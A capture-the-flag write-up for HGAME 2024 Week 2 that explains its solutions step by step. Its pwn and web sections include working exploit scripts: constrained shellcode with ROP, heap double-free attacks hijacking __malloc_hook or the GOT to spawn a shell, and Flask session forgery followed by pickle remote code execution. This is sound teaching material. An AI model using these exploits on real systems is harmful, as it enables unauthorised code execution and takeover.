HGAME 2024 Week2

links:

• writeup of hgame 2024 week1 (all challenges)
• writeup of hgame 2024 week3 (pwn challenges)
• writeup of hgame 2024 week4 pwn challenge (Google Colab)

PWN. Shellcode Master

• The first payload is restricted to 22 bytes.
• All generic registers are wiped.
• The shellcode area is mprotect-ed to --x as soon as the first payload is read.

The key idea is, do not focus on the shellcode area, but the stack. You are even not able to call any subprocess without a stack.

If we manage to rebuild a stack at any static address, and manually form an ROP-like shellcode, it might be able to reuse the shellcode many times, which probably let us call read() again to place a rich payload.

After some ramdom trial, I successfully made a reuseable shellcode, which setup a basic read() syscall:

mov esp,{0x404000+8*4}; moving imm32 takes 5bytes
push 120;    len |  pushing imm8 takes 2 bytes
push 0;      fd  |  2
push 0; sys_READ |  2
push rsp;    buf |  1
; pushing/popping generic register (no x64 prefix) takes 1 byte

; <<< reusable rop gadgets at 0x233300c
pop rsi;     1 
pop rax;     1
pop rdi;     1
pop rdx;     1 
syscall;     2
ret;         1
; >>>
; total length: 19 bytes

The remaining steps:

• Call read() several times to place ROP payloads;
• Perform ROP to mprotect() the shellcode area to be rwx;
• Call read() to write the final shellcode to the rwx landing pad.

EXP (partial):

# sc1: place stack & ROP gadgets
sc1 = asm(
    f"mov esp,{0x404000+8*4}; push 120; push 0; push 0; push rsp; pop rsi; pop rax; pop rdi; pop rdx; syscall; ret;"
)

# rop1: recall read() to place larger payloads
padding = p64(0xDEADC0DE) * 3  # $rsp => 0x404020, write at 0x404008, fill 8*3 bytes
rop1 = padding + p64(gadgets_addr) + p64(0x404000) + p64(0) + p64(0) + p64(0x1000)

# rop2: call mprotect(&sc, 0x1000, 7)
padding = p64(0xDEADC0DE) * 9  # $rsp => 0x404048, write at 0x404000, fill 8*9 bytes
rop2 = padding + p64(gadgets_addr) + p64(0x1000) + p64(0xA) + p64(0x2333000) + p64(7)

# rop3: call read(0, &sc, 0x1000) and jump to sc
rop3 = (
    p64(gadgets_addr) + p64(0x2333000) + p64(0) + p64(0) + p64(0x1000) + p64(0x2333000)
)

# sc2: shellcraft
sc2 = b"\x90" * 32 + asm(shellcraft.amd64.linux.cat("/flag"))

p.s. There is indeed a short 22 bytes shellcode, but it's totally unrelated. Don't be trapped!

PWN. FastNote

• A typical menu program, examining fastbin attacks.
• The program contains 3 functions
  • Add a note
  • Show the note at specified index
  • Delete the note at specified index
• Any content can be stored once when adding, and the note size is restricted to 0x80, which happen to allow the creation of the smallest (0x80+0x10) unsorted bin (for leakage of libc base address).
  
• There is an UAF vulnerability in delete function, which may cooperate with show function to exposes essential data from freed chunks:
  

Thoughts

• Fill 0x90-sized tcaches to put a chunk into unsorted bin.
• Read the chunk to leak libc.
• Fill fastbin-sized tcaches to do a fastbin double-free;
• The fastbin double-free will put two same chunk into fastbin lists.
• Call malloc() to drain tcache list;
• Call malloc() to drain fastbin list. Since the victim chunk has been allocated and filled with data before allocating it again, its content will be confused with the freed-chunk layout, where the fd is overlapped with our user data.
• When malloc() is trying to allocate chunks from fastbin lists, the remainigs will be stashed into tcache list, where it lacks validation thus arbitary address can be treated as a chunk and returned.
• Read the arbitary address by showing the note of fake chunk and write it by adding.

Exploitation

from pwn import *

context.arch = "amd64"

tc_size = 0x70  # chunk => 0x80

def getr():
    # r = remote("127.0.0.1", 9000)
    r = remote("106.14.57.14", 30145)
    print(r.recv().decode())
    return r


r = getr()


def add(x, size, content):
    r.sendline(b"1")  # add
    r.sendline(b"%d" % x)  # index
    r.sendline(b"%d" % size)  # size
    r.send(content)  # content
    r.clean()


def show(x):
    r.sendline(b"2")  # show
    r.recvuntil(b"Index")
    r.clean()
    r.sendline(b"%d" % x)  # index
    return r.recv()


def rm(x):
    r.sendline(b"3")  # rm
    r.sendline(b"%d" % x)  # index
    r.clean()


# tcaches for fastbin double free
for i in range(7):
    add(i, tc_size, b"TC")

# this is the victim chunks whose memory layout is overlapped with others
add(10, tc_size, b"FB")
add(11, tc_size, b"FB")  # the helper


# fill tcache
for i in range(7):
    rm(i)

info("tcache filled")
# pause()

# fastbin double free, so that the `fd`` of victim chunk points to arbitrary address
rm(10)
rm(11)
rm(10)

# drain tcache
for i in range(7):
    add(i, tc_size, f"TC{i}".encode())
info("tcache drained, about to write")
# pause()


# tcaches for leaking
for i in range(8):
    add(i, 0x80, b"MX")

add(15, 5, "LATCH")

# => unsorted bin
for i in range(8):
    rm(i)

main_arena_ref = show(7)
main_arena_ref = u64(main_arena.split(b"\n")[0].ljust(8, b"\x00"))

# offsets are retrieved by gdb debugging
malloc_hook = main_arena_ref - 0x70
base = malloc_hook - 0x1ECB70

# 0xe3b01 execve("/bin/sh", r15, rdx)
# constraints:
#   [r15] == NULL || r15 == NULL || r15 is a valid argv
#   [rdx] == NULL || rdx == NULL || rdx is a valid envp
one_gadget = base + 0xE3B01

success(
    f"malloc_hook: {hex(malloc_hook)}\nlibc base: {hex(base)}"
)


# allloc chunks back, the new chunk will be "allocated" at the address of `fd` of the victim chunk
add(10, tc_size, p64(malloc_hook))  # victim, a fake `fd` is placed when it is allocated
add(11, tc_size, b"#11")
add(10, tc_size, p64(malloc_hook))  # alloc victim again, content overlapps `fd`

# alloc to overwrite malloc_hook
add(12, tc_size, p64(one_gadget))

add(13, tc_size, b"id\n")  # trigger malloc_hook
r.interactive()

References

• shellphish's how2heap
• The glibc source
• https://web.archive.org/web/20230417000418/https://bbs.kanxue.com/thread-272098.htm

PWN. OldFastNote

Very similar to fast note challange, except the program was built with old glibc2.23.

• No tcaches, the fastbins and unsorted bins can be directly used.
• But on the other hand, the address of forged chunk must be chosen very carefully to bypass the size check of fastbins in malloc()

Take a look around the __malloc_hook:

We can see that it's possible to treat these 8 bytes as u64(0x7f) and place a 0x7* sized fastbin chunk here to cover the __malloc_hook.

In order to pick the chunk into correct slot of fastbins, the "chunk forger" i.e. the previous legal chunks must be in same size category. Thus the size of the requiring notes should be 0x60 (+0x10).

# interactive functions
# ...
note_size = 0x60  # chunk => 0x70

add(0, 0x80, b"UB") # unsorted bin, to leak arena

add(1, note_size, b"1") # double free construtions
add(2, note_size, b"2")

rm(0)
main_arena = u64(show(0).split(b"\n")[0].ljust(8, b"\x00"))
malloc_hook = main_arena - 0x68
base = malloc_hook - 0x3C4B10

# perform double free
rm(1)
rm(2)
rm(1)
add(1, note_size, p64(malloc_hook - 0x23))
add(2, note_size, b"2")

pause() # <= check if the fake chunk is correctly linked
add(1, note_size, p64(malloc_hook - 0x23))
add(3, note_size, b"X" * 11 + p64(one_gadget) * 5)

# trigger malloc hook
add(4, note_size, b"SHELL")

At the pause point we can see the forged chunk has got a valid size and linked to the legal chunk going to be allocated. The mask bits won't be check during allocating from fastbins, so the chunk is returned as expected.

And the last thing worth mentioning is the one gadget.

root@2f5d6248e758:/tmp/ofastnote# one_gadget libc-2.23.so
0x4527a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL || {[rsp+0x30], [rsp+0x38], [rsp+0x40], [rsp+0x48], ...} is a valid argv

0xf03a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL || {[rsp+0x50], [rsp+0x58], [rsp+0x60], [rsp+0x68], ...} is a valid argv

0xf1247 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL || {[rsp+0x70], [rsp+0x78], [rsp+0x80], [rsp+0x88], ...} is a valid argv

Break at where the one gadget being executed and test these constraints, it turns that $rsp+0x50 and $rsp+0x70 are likely to be same and probably be 0. So just take the latter 2 gadgets.

PWN. EldenRingII

An even easier version of fast note. There are add / delete / edit / show 4 functions, and still a UAF which enables to write any data to the freed chunks.

[+] checksec for '/tmp/ringII/vuln_patched'
Canary                        : ✘
NX                            : ✓
PIE                           : ✘
Fortify                       : ✘
RelRO                         : Partial

As it shows the program is statically mapped and the got.plt is writable. So the exploitation can be very simplified to:

• Perform fastbin double-free to construct a chunk covering the static notes variables.
• Edit the chunk, then we can modify any notes pointer
• Read / write arbitary address by Showing / Editing the content of notes being modified.
• Since we got stable read-write loop, let DynELF finish the job. We can hijack any entry of got.plt to execute the getshell gadget.

# interactive functions
# ...
# https://github.com/shellphish/how2heap/blob/master/glibc_2.31/tcache_poisoning.c
add(0, tc_size)
add(1, tc_size)
rm(0)
rm(1)

# change the #1.fd to &notes so that it will be returned later when malloc()
edit(1, p64(v.sym["notes"])) # v => vulnerable
add(2, tc_size)
add(3, tc_size)  # the fake chunk; => &notes[0]

# now we get R/W loop at arbitary address
def leak(addr):
    edit(3, p64(addr)) # change note[0] to point to addr
    ret = show(0)
    if not ret:
        ret = b"\x00" # puts() treatment
    return ret

def write(addr, data):
    edit(3, p64(addr))
    edit(0, data) # write any data to addr

# network check, those time-related chore has to be tweaked
assert leak(v.sym["main"])[:4] == bytes.fromhex("F3 0F 1E FA")
success("Arbitary RW ready")

# normal DynELF routine
dyn = DynELF(leak, pointer=0x401000)
system = dyn.lookup("system", "./libc.so.6")
success("essential gadgets ready")

write(0x404500, b"/bin/sh\x00")  # place /bin/sh into any mapped R/W space
write(v.got["free"], p64(system))  # got.free => system
edit(3, p64(0x404500))  # change #0 => "/bin/sh"
rm(0)  # => system("/bin/sh")
r.interactive()

RE. ezCPP

• Nothing to do with cpp, just a boring TEA-like cipher.
• 32 rounds each turn, repeat 4 times; each turn the encryption shift ahead by 1 byte.
  
  

def _decipher(v, sum, delta=0xDEADBEEF):
    sum = ctypes.c_uint32(sum)

    y, z = [ctypes.c_uint32(x) for x in v]

    for n in range(32, 0, -1):
        z.value -= (
            ((y.value << 4) + 3412) ^ (y.value + sum.value) ^ ((y.value << 5) + 4123)
        )
        y.value -= (
            ((z.value << 4) + 1234) ^ (z.value + sum.value) ^ ((z.value << 5) + 2341)
        )
        sum.value -= delta

    return [y.value, z.value]


final_sum = 0xDEADBEEF * 32

t = _decipher(unpack("<II", enc[3:11]), final_sum)
t = pack("<II", *t)
enc = enc[:3] + t + enc[11:]

t = _decipher(unpack("<II", enc[2:10]), final_sum)
t = pack("<II", *t)
enc = enc[:2] + t + enc[10:]

t = _decipher(unpack("<II", enc[1:9]), final_sum)
t = pack("<II", *t)
enc = enc[:1] + t + enc[9:]

t = _decipher(unpack("<II", enc[0:8]), final_sum)
t = pack("<II", *t)
enc = enc[:0] + t + enc[8:]

print(enc)

RE. babyRE

• There is an initializer reseting the key:
  
• And there is a traversal loop which Xor each key byte by 0x11:
  

The author put a little trap in this snippet. Don't you doubt that what's the purpose at all of setting a strange signal handler? Signumber 8 stands for SIGFPE, which is alarmed when a Float Point Exception occurs.

Okay then… where does the float point come from?

Check the disassembly, we see that there is a trap hidden from the decompilation.

On the stackoverflow people had explained the FPE and div-by-zero stuff. In a word SIGFPE is raised whenever meeting arithmetic faults. So the Xor loop only executes 3 times, leaving the key "wtxfei".

• The 4 threads define 4 diffent operation on single byte.
  
  
• Each of them has the same logic:
  1. Wait a semaphore.
  2. Encipher 1 byte.
  3. Increase the global index counter.
  4. Post to the next semaphore so that the next cipher function runs.

Obviously the cipher bytes are generated sequentially and entangled with the near byte. So the plain flag should be recovered from the tail.

# IDAPython
struct.unpack('<'+'I'*32,get_bytes(get_name_ea_simple('enc'),32*4))

# decipher script
enc = (0x2F14, 0x4E, ... , ord('}')) # manually putting the last byte makes things easy

def rfn0(b, n):
    # input[hd] += a123456[(hd + 1) % 6] * input[hd + 1];
    return c_uint32(b[n] - (a[(n + 1) % 6] * b[n + 1])).value


def rfn1(b, n):
    # input[hd] -= a123456[(hd + 1) % 6] ^ input[hd + 1];
    return c_uint32(b[n] + (a[(n + 1) % 6] ^ b[n + 1])).value


def rfn2(b, n):
    #  input[hd] *= input[hd + 1] + a123456[(hd + 1) % 6];
    return c_uint32(b[n] // (a[(n + 1) % 6] + b[n + 1])).value


def rfn3(b, n):
    # input[hd] ^= input[hd + 1] - a123456[(hd + 1) % 6];
    return c_uint32(b[n] ^ (b[n + 1] - a[(n + 1) % 6])).value

def transform(b, n, f):
    b[n] = f(b, n)
    return b


l = list(enc)
for i in range(30, -1, -1):
    l = transform(l, i, (rfn0, rfn1, rfn2, rfn3)[i % 4])

print(bytes(l).decode())

RE. Arithmetic

• Packed by an unknown packer, has to be analyzed under dynamic debugging, which can be deal with the *SP law discussed in the previous contest

The main() function:

__int64 __stdcall likely_main(int argc, char *argv[], void *env)
{
  unsigned int t; // eax
  __int64 i; // rbx
  FILE *f_out; // rbp
  int col; // edx MAPDST
  int row; // eax MAPDST
  int sum; // edi
  __int64 row_max; // r14
  __int64 offset; // rbp
  __int64 chunk; // rsi
  int cur_path; // eax
  __int64 total_off; // rcx
  int cur_value; // eax

  t = time64(0i64);
  srand(t);
  i = 1i64;
  row = 1;
  col = 1;
  f_out = fopen(FileName, Mode);                // "out", "rb"
  if ( fscanf(f_out, "%d", &wtf_matrix_input[1][1]) != -1 )
  {
    do
    {
      col = 1;
      if ( row != col )
        ++col;
      ++row;
    }
    while ( fscanf(f_out, "%d", &wtf_matrix_input[row][col]) != -1 );
  }
  sum = wtf_matrix_input[1][1];                 // int wtf_matrix_input[500][500]
  row_max = row - 1;
  if ( row_max >= 1 )
  {
    offset = 1i64;
    chunk = 1000i64;
    do
    {
      cur_path = rand() % 2 + 1;
      total_off = chunk + offset;               // offset never goes back
      path_vector[i] = cur_path;
      if ( cur_path == 1 )
      {
        cur_value = wtf_matrix_input[0][total_off];// actually: [chunk][off]
      }
      else   // path 1 => stay at pos; path 2 => pos + 1
      {
        cur_value = wtf_matrix_input[0][total_off + 1];// actually: [chunk][off]
        ++offset;
      }
      sum += cur_value;
      ++i;
      chunk += 500i64;
    }
    while ( i <= row_max );
  }
  if ( sum >= 6752833 )                         // wtf max number?
    printf_5("hgame{path_32-bit_md5_lowercase_encrypt}");
  return 0i64;
}

There are some strange indecies/offsets in my decompilation. Let's take a look at the attachment file, it will be much clearer:

This is a text file containing 500 lines, and each line has a searies of numbers. The program read the whole file and randomly generate a path that goes top-down. And the accumulater sums up all the travelled number to see if greater than 6752833. If so, print the flag hint.

So our goal should be find out the way getting the max sum, and the flag will be the md5 hash of the path sequence.

Obviously this is a DP problem. The max sum at each number's position is uniquely determined. And it only depends on 2 variables: the sum from above and the sum from upper left (and the number itself, of course).

So we can solve the promblem by traversing every number, record the max sum and the path whether the sum comes from left or above. After then we take the max sum from the last row, and its path should be the answer.

import numpy as np

_d = open("out").read()
_dl = _d.replace(" \n", " ").split(" ")[:-1] # trim
nums = np.zeros((500, 500), dtype=np.int32)
nums[np.tril_indices_from(nums)] = _dl

del _d
del _dl

max_sums = np.empty((500, 500), dtype=object)
max_sums[0, 0] = (nums[0, 0], "")
max_sums[1, 0] = (nums[0, 0] + nums[1, 0], "1")
max_sums[1, 1] = (nums[0, 0] + nums[1, 1], "2")
for row in range(2, 500):
    for col in range(row + 1):
        sum = nums[row, col]
        from_above = max_sums[row - 1, col]
        from_left = max_sums[row - 1, col - 1]
        if from_above and (not from_left or from_above[0] > from_left[0]):
            path = from_above[1] + "1"
            max_sums[row, col] = (sum + from_above[0], path)
        else:
            path = from_left[1] + "2"
            max_sums[row, col] = (sum + from_left[0], path)


path = np.max(max_sums[499], axis=0)
assert path[0] >= 6752833
assert len(path[1]) == 499

from hashlib import md5

flag = f"hgame{{{md5(path[1].encode()).hexdigest()}}}"

print(path[1])
print(flag)

WEB. More Courses

Yet another brute-force-request challenge:

1. Brute force the password with the hint dictionary.
2. Brute foce the API (/api/select /api/expand):
   

WEB. COW

Yet another cowsay challege.

Some keywords are filtered:

Easily bypass it by taking advantage of printf

WEB. myFlask

2 examine points.

• Mock session for flask apps
• The pickle unserialization exploit.

The SECKEY used to sign the session is a time-based string, and it's fixed since the server has started:

Since it doesn't change, it's easy to brute-force it by mocking the flask session:

class MockApp(object):

    def __init__(self, time=(_H, 0, 0), echo=False):
        h, m, s = time
        currentDateAndTime = datetime.now(timezone("Asia/Shanghai"))
        dt = datetime(
            currentDateAndTime.year,
            currentDateAndTime.month,
            currentDateAndTime.day,
            h,
            m,
            s,
        )
        self.secret_key = dt.strftime("%H%M%S")
        if echo:
            print(f"SECRET_KEY: {self.secret_key}")


from flask.sessions import SecureCookieSessionInterface


def mock_session(username, time, **kw):
    return (
        SecureCookieSessionInterface()
        .get_signing_serializer(MockApp(time, **kw))
        .dumps({"username": username})
    )

# brute force the time / seckey
sign_time = None
with requests.Session() as s:
    r = s.get(f"{url}")
    real_session = s.cookies["session"]
    for m in range(60):
        for sec in range(60):
            fake_session = mock_session("guest", (_H, m, sec))
            if fake_session == real_session:
                sign_time = (_H, m, sec)
                print(f"found ts: {sign_time}")
                mock_session("guest", (_H, m, sec), echo=True)
                break

The flag can be retrieved by the send_file() route:

We can make an evil pickle to execute a system command that cat the flag into app.py, and access / to get the result. Attention that the server automatically reloads when the source file changes, so the SECKEY need to be cracked again each time after executing the "write-to-file" command.

# explit the pickle
class Exploit(object):
    def __reduce__(self):
        return (os.system, ("""printf '\n# %s' $(cat /flag) >> app.py """,))


with requests.Session() as s:
    fake_session = mock_session("admin", sign_time)
    s.cookies["session"] = fake_session
    r = s.get(f"{url}/flag")
    assert "admin" in r.text
    pickle_data = pickle.dumps(Exploit())
    pickle_data_b64 = base64.b64encode(pickle_data).decode()
    data = {"pickle_data": pickle_data_b64}
    r = s.post(f"{url}/flag", data=data)
    open("/tmp/result.html", "w").write(r.text)

Attachment: the source

import pickle
import base64
from flask import Flask, session, request, send_file
from datetime import datetime
from pytz import timezone

currentDateAndTime = datetime.now(timezone('Asia/Shanghai'))
currentTime = currentDateAndTime.strftime("%H%M%S")

app = Flask(__name__)
# Tips: Try to crack this first ↓
app.config['SECRET_KEY'] = currentTime
print(currentTime)

@app.route('/')
def index():
    session['username'] = 'guest'
    return send_file('app.py')

@app.route('/flag', methods=['GET', 'POST'])
def flag():
    if not session:
        return 'There is no session available in your client :('
    if request.method == 'GET':
        return 'You are {} now'.format(session['username'])
    
    # For POST requests from admin
    if session['username'] == 'admin':
        pickle_data=base64.b64decode(request.form.get('pickle_data'))
        # Tips: Here try to trigger RCE
        userdata=pickle.loads(pickle_data)
        return userdata
    else:
        return 'Access Denied'
 
if __name__=='__main__':
    app.run(debug=True, host="0.0.0.0")

MISC. 华容道

A programming challenge about the "Klotski", a.k.a the「华容道」 puzzle.

The game server sets a very severe restriction that requrires solving 11 rounds of the puzzle (up to 180 steps!) in 10 seconds. This is very hard for python to follow up. I realized that long after finishing the algorithm, at the moment the code had been filled with nested functions and exceptions. So I didn't want to port the algorighm to other languages.

I finally managed to speed up by caching all solutions found previously, and burn up the CPU to generate as much as possible solutions with multiprocessing.

Eventually the challenge was won by 280+ pre-calculated solutions.

The solver script is hosted on gist.

DO NOT MESS UP WITH "HIGH-LEVEL ABSTRACTION" IN PYTHON!

I mean, the numpy ndarray or any other "more human-friendly" data types / abstracitons. They lack so much of optimization that over 60% CPU time was wasted on type conversions and data recompositions. The builtinlistcomp method ate about 20% CPU time, which was really ridiculous.

That's the real lesson I learnt from this challenge.